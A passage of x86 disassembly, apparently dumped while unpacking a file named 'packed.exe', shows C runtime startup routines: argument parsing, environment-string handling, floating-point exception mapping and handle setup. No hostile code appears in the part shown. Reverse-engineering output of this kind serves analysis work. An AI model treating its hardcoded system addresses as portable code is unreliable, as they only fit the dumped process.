		jmp	short loc_41C9FD
; ---------------------------------------------------------------------------


loc_41C9F0:				; CODE XREF: sub_41C981+4Dj
					; sub_41C981+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_41C9FD:				; CODE XREF: sub_41C981+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41CA0A:				; CODE XREF: sub_41C981+10j
					; sub_41C981+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_41C981	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA0E	proc near		; CODE XREF: sub_419096+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41CA38
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41CA49
		push	esi
		call	sub_41B4B0
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41CA38:				; CODE XREF: sub_41CA0E+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41CA49
		push	eax
		call	sub_41B4B0
		pop	ecx


loc_41CA49:				; CODE XREF: sub_41CA0E+10j
					; sub_41CA0E+32j
		pop	esi
		retn
sub_41CA0E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_41CB8C
		test	eax, eax
		pop	ecx
		jz	loc_41CB80
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41CB80
		cmp	ebx, 5
		jnz	short loc_41CA7C
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41CB89
; ---------------------------------------------------------------------------


loc_41CA7C:				; CODE XREF: ___:0041CA6Ej
		cmp	ebx, 1
		jz	loc_41CB7B
		mov	ecx, dword_515924
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_515924, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41CB6B
		mov	ecx, dword_43BAC0
		mov	edx, dword_43BAC4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41CACB
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43BA50h[esi*4]


loc_41CAC2:				; CODE XREF: ___:0041CAC9j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41CAC2


loc_41CACB:				; CODE XREF: ___:0041CAB4j
		mov	eax, [eax]
		mov	esi, dword_43BACC
		cmp	eax, 0C000008Eh
		jnz	short loc_41CAE6
		mov	dword_43BACC, 83h
		jmp	short loc_41CB56
; ---------------------------------------------------------------------------


loc_41CAE6:				; CODE XREF: ___:0041CAD8j
		cmp	eax, 0C0000090h
		jnz	short loc_41CAF9
		mov	dword_43BACC, 81h
		jmp	short loc_41CB56
; ---------------------------------------------------------------------------


loc_41CAF9:				; CODE XREF: ___:0041CAEBj
		cmp	eax, 0C0000091h
		jnz	short loc_41CB0C
		mov	dword_43BACC, 84h
		jmp	short loc_41CB56
; ---------------------------------------------------------------------------


loc_41CB0C:				; CODE XREF: ___:0041CAFEj
		cmp	eax, 0C0000093h
		jnz	short loc_41CB1F
		mov	dword_43BACC, 85h
		jmp	short loc_41CB56
; ---------------------------------------------------------------------------


loc_41CB1F:				; CODE XREF: ___:0041CB11j
		cmp	eax, 0C000008Dh
		jnz	short loc_41CB32
		mov	dword_43BACC, 82h
		jmp	short loc_41CB56
; ---------------------------------------------------------------------------


loc_41CB32:				; CODE XREF: ___:0041CB24j
		cmp	eax, 0C000008Fh
		jnz	short loc_41CB45
		mov	dword_43BACC, 86h
		jmp	short loc_41CB56
; ---------------------------------------------------------------------------


loc_41CB45:				; CODE XREF: ___:0041CB37j
		cmp	eax, 0C0000092h
		jnz	short loc_41CB56
		mov	dword_43BACC, 8Ah


loc_41CB56:				; CODE XREF: ___:0041CAE4j
					; ___:0041CAF7j ...
		push	dword_43BACC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43BACC, esi
		pop	ecx
		pop	esi
		jmp	short loc_41CB73
; ---------------------------------------------------------------------------


loc_41CB6B:				; CODE XREF: ___:0041CA9Dj
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41CB73:				; CODE XREF: ___:0041CB69j
		mov	eax, [ebp+8]
		mov	dword_515924, eax


loc_41CB7B:				; CODE XREF: ___:0041CA7Fj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41CB89
; ---------------------------------------------------------------------------


loc_41CB80:				; CODE XREF: ___:0041CA5Aj
					; ___:0041CA65j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 7C862E2Ah


loc_41CB89:				; CODE XREF: ___:0041CA77j
					; ___:0041CB7Ej
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; CODE XREF: ___:0041CA52p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43BAC8
		cmp	dword_43BA48, edx
		push	esi
		mov	eax, offset dword_43BA48
		jz	short loc_41CBB9
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43BA48h[esi*4]


loc_41CBAE:				; CODE XREF: sub_41CB8C+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41CBB9
		cmp	[eax], edx
		jnz	short loc_41CBAE


loc_41CBB9:				; CODE XREF: sub_41CB8C+16j
					; sub_41CB8C+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43BA48h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41CBCC
		cmp	[eax], edx
		jz	short locret_41CBCE


loc_41CBCC:				; CODE XREF: sub_41CB8C+3Aj
		xor	eax, eax

locret_41CBCE:				; CODE XREF: sub_41CB8C+3Ej
		retn
sub_41CB8C	endp

; ---------------------------------------------------------------------------
		cmp	dword_516ECC, 0
		jnz	short loc_41CBDD
		call	sub_41C3C0


loc_41CBDD:				; CODE XREF: ___:0041CBD6j
		push	esi
		mov	esi, dword_516EC4
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41CC0F


loc_41CBEA:				; CODE XREF: ___:0041CC02j
					; ___:0041CC05j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41CC07
		test	al, al
		jz	short loc_41CC07
		movzx	eax, al
		push	eax
		call	sub_41EE1B
		test	eax, eax
		pop	ecx
		jz	short loc_41CBEA
		inc	esi
		jmp	short loc_41CBEA
; ---------------------------------------------------------------------------


loc_41CC07:				; CODE XREF: ___:0041CBF0j
					; ___:0041CBF4j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41CC19


loc_41CC0C:				; CODE XREF: ___:0041CC21j
		inc	esi
		jmp	short loc_41CC19
; ---------------------------------------------------------------------------


loc_41CC0F:				; CODE XREF: ___:0041CBE8j
		cmp	al, 20h
		jbe	short loc_41CC19


loc_41CC13:				; CODE XREF: ___:0041CC17j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41CC13


loc_41CC19:				; CODE XREF: ___:0041CC0Aj
					; ___:0041CC0Dj ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41CC23
		cmp	al, 20h
		jbe	short loc_41CC0C


loc_41CC23:				; CODE XREF: ___:0041CC1Dj
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_516ECC, ebx
		push	esi
		push	edi
		jnz	short loc_41CC39
		call	sub_41C3C0


loc_41CC39:				; CODE XREF: ___:0041CC32j
		mov	esi, dword_5158D0
		xor	edi, edi


loc_41CC41:				; CODE XREF: ___:0041CC57j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41CC59
		cmp	al, 3Dh
		jz	short loc_41CC4C
		inc	edi


loc_41CC4C:				; CODE XREF: ___:0041CC49j
		push	esi
		call	sub_417AF0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41CC41
; ---------------------------------------------------------------------------


loc_41CC59:				; CODE XREF: ___:0041CC45j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_417BEE
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_5158AC, esi
		jnz	short loc_41CC7B
		push	9
		call	sub_4191E5
		pop	ecx


loc_41CC7B:				; CODE XREF: ___:0041CC71j
		mov	edi, dword_5158D0
		cmp	[edi], bl
		jz	short loc_41CCBE
		push	ebp


loc_41CC86:				; CODE XREF: ___:0041CCBBj
		push	edi
		call	sub_417AF0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41CCB7
		push	ebp
		call	sub_417BEE
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41CCAA
		push	9
		call	sub_4191E5
		pop	ecx


loc_41CCAA:				; CODE XREF: ___:0041CCA0j
		push	edi
		push	dword ptr [esi]
		call	sub_417A00
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41CCB7:				; CODE XREF: ___:0041CC93j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41CC86
		pop	ebp


loc_41CCBE:				; CODE XREF: ___:0041CC83j
		push	dword_5158D0
		call	sub_417C62
		pop	ecx
		mov	dword_5158D0, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_516EC8, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_516ECC, ebx
		push	esi
		push	edi
		jnz	short loc_41CCF7
		call	sub_41C3C0


loc_41CCF7:				; CODE XREF: ___:0041CCF0j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 7C80B4CFh
		mov	eax, dword_516EC4
		mov	off_5158BC, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41CD1C
		mov	edi, eax


loc_41CD1C:				; CODE XREF: ___:0041CD18j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41CD79
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_417BEE
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41CD4C
		push	8
		call	sub_4191E5
		pop	ecx


loc_41CD4C:				; CODE XREF: ___:0041CD42j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41CD79
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_5158A4, esi
		pop	edi
		pop	esi
		mov	dword_5158A0, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD79	proc near		; CODE XREF: ___:0041CD27p
					; ___:0041CD5Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41CDA3
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41CDA3:				; CODE XREF: sub_41CD79+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41CDEC


loc_41CDA8:				; CODE XREF: sub_41CD79+58j
					; sub_41CD79+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41CDDA
		test	dl, dl
		jz	short loc_41CDDA
		movzx	edx, dl
		test	byte_516DA1[edx], 4
		jz	short loc_41CDCD
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41CDCD
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41CDCD:				; CODE XREF: sub_41CD79+46j
					; sub_41CD79+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41CDA8
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41CDA8
; ---------------------------------------------------------------------------


loc_41CDDA:				; CODE XREF: sub_41CD79+36j
					; sub_41CD79+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41CDE4
		and	byte ptr [esi],	0
		inc	esi


loc_41CDE4:				; CODE XREF: sub_41CD79+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41CE2F
		inc	eax
		jmp	short loc_41CE2F
; ---------------------------------------------------------------------------


loc_41CDEC:				; CODE XREF: sub_41CD79+2Dj
					; sub_41CD79+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41CDF7
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41CDF7:				; CODE XREF: sub_41CD79+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_516DA1[ebx], 4
		jz	short loc_41CE12
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41CE11
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_41CE11:				; CODE XREF: sub_41CD79+91j
		inc	eax


loc_41CE12:				; CODE XREF: sub_41CD79+8Bj
		cmp	dl, 20h
		jz	short loc_41CE20
		test	dl, dl
		jz	short loc_41CE24
		cmp	dl, 9
		jnz	short loc_41CDEC


loc_41CE20:				; CODE XREF: sub_41CD79+9Cj
		test	dl, dl
		jnz	short loc_41CE27


loc_41CE24:				; CODE XREF: sub_41CD79+A0j
		dec	eax
		jmp	short loc_41CE2F
; ---------------------------------------------------------------------------


loc_41CE27:				; CODE XREF: sub_41CD79+A9j
		test	esi, esi
		jz	short loc_41CE2F
		and	byte ptr [esi-1], 0


loc_41CE2F:				; CODE XREF: sub_41CD79+6Ej
					; sub_41CD79+71j ...
		and	[ebp+arg_10], 0


loc_41CE33:				; CODE XREF: sub_41CD79+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41CF1C


loc_41CE3C:				; CODE XREF: sub_41CD79+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41CE48
		cmp	dl, 9
		jnz	short loc_41CE4B


loc_41CE48:				; CODE XREF: sub_41CD79+C8j
		inc	eax
		jmp	short loc_41CE3C
; ---------------------------------------------------------------------------


loc_41CE4B:				; CODE XREF: sub_41CD79+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41CF1C
		test	edi, edi
		jz	short loc_41CE60
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41CE60:				; CODE XREF: sub_41CD79+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41CE65:				; CODE XREF: sub_41CD79+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41CE6E:				; CODE XREF: sub_41CD79+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41CE77
		inc	eax
		inc	ebx
		jmp	short loc_41CE6E
; ---------------------------------------------------------------------------


loc_41CE77:				; CODE XREF: sub_41CD79+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41CEA8
		test	bl, 1
		jnz	short loc_41CEA6
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41CE95
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41CE95
		mov	eax, edx
		jmp	short loc_41CE98
; ---------------------------------------------------------------------------


loc_41CE95:				; CODE XREF: sub_41CD79+10Dj
					; sub_41CD79+116j
		mov	[ebp+arg_0], edi


loc_41CE98:				; CODE XREF: sub_41CD79+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41CEA6:				; CODE XREF: sub_41CD79+106j
		shr	ebx, 1


loc_41CEA8:				; CODE XREF: sub_41CD79+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41CEBD
		inc	ebx


loc_41CEB0:				; CODE XREF: sub_41CD79+142j
		test	esi, esi
		jz	short loc_41CEB8
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41CEB8:				; CODE XREF: sub_41CD79+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41CEB0


loc_41CEBD:				; CODE XREF: sub_41CD79+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41CF0D
		cmp	[ebp+arg_10], 0
		jnz	short loc_41CED3
		cmp	dl, 20h
		jz	short loc_41CF0D
		cmp	dl, 9
		jz	short loc_41CF0D


loc_41CED3:				; CODE XREF: sub_41CD79+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41CF07
		test	esi, esi
		jz	short loc_41CEF6
		movzx	ebx, dl
		test	byte_516DA1[ebx], 4
		jz	short loc_41CEEF
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_41CEEF:				; CODE XREF: sub_41CD79+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41CF05
; ---------------------------------------------------------------------------


loc_41CEF6:				; CODE XREF: sub_41CD79+162j
		movzx	edx, dl
		test	byte_516DA1[edx], 4
		jz	short loc_41CF05
		inc	eax
		inc	dword ptr [ecx]


loc_41CF05:				; CODE XREF: sub_41CD79+17Bj
					; sub_41CD79+187j
		inc	dword ptr [ecx]


loc_41CF07:				; CODE XREF: sub_41CD79+15Ej
		inc	eax
		jmp	loc_41CE65
; ---------------------------------------------------------------------------


loc_41CF0D:				; CODE XREF: sub_41CD79+148j
					; sub_41CD79+153j ...
		test	esi, esi
		jz	short loc_41CF15
		and	byte ptr [esi],	0
		inc	esi


loc_41CF15:				; CODE XREF: sub_41CD79+196j
		inc	dword ptr [ecx]
		jmp	loc_41CE33
; ---------------------------------------------------------------------------


loc_41CF1C:				; CODE XREF: sub_41CD79+BDj
					; sub_41CD79+D5j
		test	edi, edi
		jz	short loc_41CF23
		and	dword ptr [edi], 0


loc_41CF23:				; CODE XREF: sub_41CD79+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41CD79	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_515A2C
		push	ebx
		push	ebp
		mov	ebp, dword_421034
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41CF7B
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41CF5C
		mov	dword_515A2C, 1
		jmp	short loc_41CF84
; ---------------------------------------------------------------------------


loc_41CF5C:				; CODE XREF: ___:0041CF4Ej
		nop
		call	near ptr 7C81CF5Bh
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41D056
		mov	dword_515A2C, 2
		jmp	loc_41D00A
; ---------------------------------------------------------------------------


loc_41CF7B:				; CODE XREF: ___:0041CF46j
		cmp	eax, 1
		jnz	loc_41D005


loc_41CF84:				; CODE XREF: ___:0041CF5Aj
		cmp	esi, ebx
		jnz	short loc_41CF94
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41D056


loc_41CF94:				; CODE XREF: ___:0041CF86j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41CFA9


loc_41CF9B:				; CODE XREF: ___:0041CFA0j
					; ___:0041CFA7j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41CF9B
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41CF9B


loc_41CFA9:				; CODE XREF: ___:0041CF99j
		sub	eax, esi
		mov	edi, dword_421158
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41CFFA
		push	ebp
		call	sub_417BEE
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_41CFFA
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41CFF6
		push	dword ptr [esp+10h]
		call	sub_417C62
		pop	ecx
		mov	[esp+10h], ebx


loc_41CFF6:				; CODE XREF: ___:0041CFE6j
		mov	ebx, [esp+10h]


loc_41CFFA:				; CODE XREF: ___:0041CFC6j
					; ___:0041CFD5j
		push	esi
		nop
		call	near ptr 7C814AE7h
		mov	eax, ebx
		jmp	short loc_41D058
; ---------------------------------------------------------------------------


loc_41D005:				; CODE XREF: ___:0041CF7Ej
		cmp	eax, 2
		jnz	short loc_41D056


loc_41D00A:				; CODE XREF: ___:0041CF76j
		cmp	edi, ebx
		jnz	short loc_41D01A
		nop
		call	near ptr 7C81CF5Bh
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41D056


loc_41D01A:				; CODE XREF: ___:0041D00Cj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41D02A


loc_41D020:				; CODE XREF: ___:0041D023j
					; ___:0041D028j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41D020
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41D020


loc_41D02A:				; CODE XREF: ___:0041D01Ej
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_417BEE
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41D040
		xor	esi, esi
		jmp	short loc_41D04B
; ---------------------------------------------------------------------------


loc_41D040:				; CODE XREF: ___:0041D03Aj
		push	ebp
		push	edi
		push	esi
		call	sub_417490
		add	esp, 0Ch


loc_41D04B:				; CODE XREF: ___:0041D03Ej
		push	edi
		nop
		call	near ptr 7C81DF77h
		mov	eax, esi
		jmp	short loc_41D058
; ---------------------------------------------------------------------------


loc_41D056:				; CODE XREF: ___:0041CF66j
					; ___:0041CF8Ej ...
		xor	eax, eax


loc_41D058:				; CODE XREF: ___:0041D003j
					; ___:0041D054j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_417BEE
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41D07F
		push	1Bh
		call	sub_4191E5
		pop	ecx


loc_41D07F:				; CODE XREF: ___:0041D075j
		mov	dword_516B80, esi
		mov	dword_516C80, 20h
		lea	eax, [esi+100h]


loc_41D095:				; CODE XREF: ___:0041D0B1j
		cmp	esi, eax
		jnb	short loc_41D0B3
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_516B80
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41D095
; ---------------------------------------------------------------------------


loc_41D0B3:				; CODE XREF: ___:0041D097j
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 7C801EEEh
		cmp	word ptr [esp+42h], 0
		jz	loc_41D18F
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_41D18F
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41D0E9
		mov	esi, eax


loc_41D0E9:				; CODE XREF: ___:0041D0E5j
		cmp	dword_516C80, esi
		jge	short loc_41D143
		mov	edi, offset dword_516B84


loc_41D0F6:				; CODE XREF: ___:0041D139j
		push	100h
		call	sub_417BEE
		test	eax, eax
		pop	ecx
		jz	short loc_41D13D
		add	dword_516C80, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41D114:				; CODE XREF: ___:0041D12Ej
		cmp	eax, ecx
		jnb	short loc_41D130
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41D114
; ---------------------------------------------------------------------------


loc_41D130:				; CODE XREF: ___:0041D116j
		add	edi, 4
		cmp	dword_516C80, esi
		jl	short loc_41D0F6
		jmp	short loc_41D143
; ---------------------------------------------------------------------------


loc_41D13D:				; CODE XREF: ___:0041D103j
		mov	esi, dword_516C80


loc_41D143:				; CODE XREF: ___:0041D0EFj
					; ___:0041D13Bj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41D18F


loc_41D149:				; CODE XREF: ___:0041D18Dj
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D186
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41D186
		test	cl, 8
		jnz	short loc_41D168
		push	eax
		nop
		call	near ptr 7C810E51h
		test	eax, eax
		jz	short loc_41D186


loc_41D168:				; CODE XREF: ___:0041D15Bj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_516B80[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41D186:				; CODE XREF: ___:0041D14Ej
					; ___:0041D156j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41D149


loc_41D18F:				; CODE XREF: ___:0041D0C4j
					; ___:0041D0D0j ...
		xor	ebx, ebx


loc_41D191:				; CODE XREF: ___:0041D1F4j
		mov	eax, dword_516B80
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41D1EC
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41D1AC
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41D1B6
; ---------------------------------------------------------------------------


loc_41D1AC:				; CODE XREF: ___:0041D1A5j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41D1B6:				; CODE XREF: ___:0041D1AAj
		push	eax
		nop
		call	near ptr 7C812F39h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41D1DB
		push	edi
		nop
		call	near ptr 7C810E51h
		test	eax, eax
		jz	short loc_41D1DB
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41D1E1


loc_41D1DB:				; CODE XREF: ___:0041D1C2j
					; ___:0041D1CDj
		or	byte ptr [esi+4], 40h
		jmp	short loc_41D1F0
; ---------------------------------------------------------------------------


loc_41D1E1:				; CODE XREF: ___:0041D1D9j
		cmp	eax, 3
		jnz	short loc_41D1F0
		or	byte ptr [esi+4], 8
		jmp	short loc_41D1F0
; ---------------------------------------------------------------------------


loc_41D1EC:				; CODE XREF: ___:0041D19Dj
		or	byte ptr [esi+4], 80h


loc_41D1F0:				; CODE XREF: ___:0041D1DFj
					; ___:0041D1E4j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41D191
		push	dword_516C80
		nop
		call	near ptr 7C80CC97h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D20C	proc near		; CODE XREF: sub_41D304+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_41D224
		push	[ebp+arg_0]
		call	sub_4203E8
sub_41D20C	endp

; ---------------------------------------------------------------------------


loc_41D224:				; DATA XREF: sub_41D20C+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D22C:				; DATA XREF: sub_41D24E+Ao
					; ___:0041D2BFo
		mov	ecx, [esp+4]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41D24D
		mov	eax, [esp+8]
		mov	edx, [esp+10h]
		mov	[edx], eax
		mov	eax, 3

locret_41D24D:				; CODE XREF: ___:0041D23Cj
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41D24E	proc near		; CODE XREF: sub_41D304+67p
					; sub_41D304+A7p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset loc_41D22C
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41D26B:				; CODE XREF: sub_41D24E:loc_41D2A6j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D2A8
		cmp	esi, [esp+1Ch+arg_4]
